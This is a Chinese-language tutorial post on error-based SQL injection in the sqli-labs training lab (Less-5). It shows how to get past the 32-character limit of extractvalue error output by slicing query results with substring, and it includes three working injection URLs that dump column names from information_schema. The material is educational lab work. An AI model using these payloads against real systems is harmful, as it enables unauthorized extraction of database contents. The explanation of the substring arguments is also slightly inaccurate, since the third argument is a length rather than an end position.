SQL报错注入获取到的数据不全

# 问题描述
在sqli-labs靶场的学习中,当使用报错注入来获取数据库中的信息时，如果查询的数据过多，返回的结果中只会包含最前面的一部分数据，出现数据不全的现象，如下图所示
![](/media/202504/2025-04-03_164247_9185290.529077041257509.png)

# 原因分析
用extractvalue和updatexml之类的函数触发报错时返回的信息中最多包含32位字符，所以只会显示一部分数据

# 解决方法
使用substring函数，将select查询的结果进行字符串截取，分批回显数据
这里用sqli-labs第5关作为案例：
1. 先看看直接触发报错注入，没有分批获取数据的结果
payload
`http://127.0.0.1/sqli/Less-5/?id=-1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns))) --+`
![](/media/202504/2025-04-03_165223_4706560.18264987599314408.png)

2. 触发报错注入，使用substring分批获取数据前32个字符
payload
`http://127.0.0.1/sqli/Less-5/?id=-1' and extractvalue(1,concat(0x7e,substring((select group_concat(column_name) from information_schema.columns), 1,32))) --+`
这里使用了substring函数，将select获取的数据进行了截取，从第一个字符开始，截取32个字符，返回的结果和不截取时，是一样的，因为返回的都是最开头的32个字符
![](/media/202504/2025-04-03_165559_3290210.8565911299250896.png)

3. 触发报错注入，使用substring分批获取数据第32到64个字符
payload
`http://127.0.0.1/sqli/Less-5/?id=-1' and extractvalue(1,concat(0x7e,substring((select group_concat(column_name) from information_schema.columns), 32,64))) --+`
这里只需要修改substring函数中的参数即可，将上一步中的1改为32，32改为64，以此类推可获取后续数据
![](/media/202504/2025-04-03_170301_2249050.942755386902483.png)